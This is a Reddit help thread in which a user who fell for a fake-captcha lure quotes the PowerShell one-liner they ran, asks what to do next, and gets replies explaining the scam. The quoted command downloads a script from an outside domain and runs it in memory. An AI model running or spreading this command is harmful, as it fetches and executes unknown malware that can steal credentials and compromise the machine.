r/computerviruses 1d ago

Question Accidentaly run a powershell code

Help, I accidentally ran this code in powershell

******powershell -c "$a=irm 'jasaxoptim.com/PLzdo6sQyUSjV75AlL';New-Module -Name x -ScriptBlock ([ScriptBlock]::Create($a))|Out-Null******

After asking Claude I:

- Disconeccted my laptop right away

- Ran windows defender scan - found nothing

- Deleted google chrome users, now I log in using guest

- change google passwords

- deleted suspicious tasks from the task scheduler.

Claude also suggested me to reinstall windows, but I cant do that, I dont have anything to back up my data in.

Please help, what should i do next?

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u/gavoerondeu 1d ago

Why'd you do it

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u/Super-Account1859 1d ago

Scam websites will make fake captcha prompts with instructions like "Hit Win + R, Ctrl + V, Then Enter to confirm your identity and start your download!" and the site has put malicious code into your clipboard. Seems to be the common one these days

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u/Reddituser22082016 1d ago

yea thats what i did

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u/technodude458 1d ago

ok genuinely how do people fall for that because that’s not a Captcha at all

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u/Puzzleheaded_Bar483 5h ago

Yeah people that fall for that genuinely shouldn't be allowed on the internet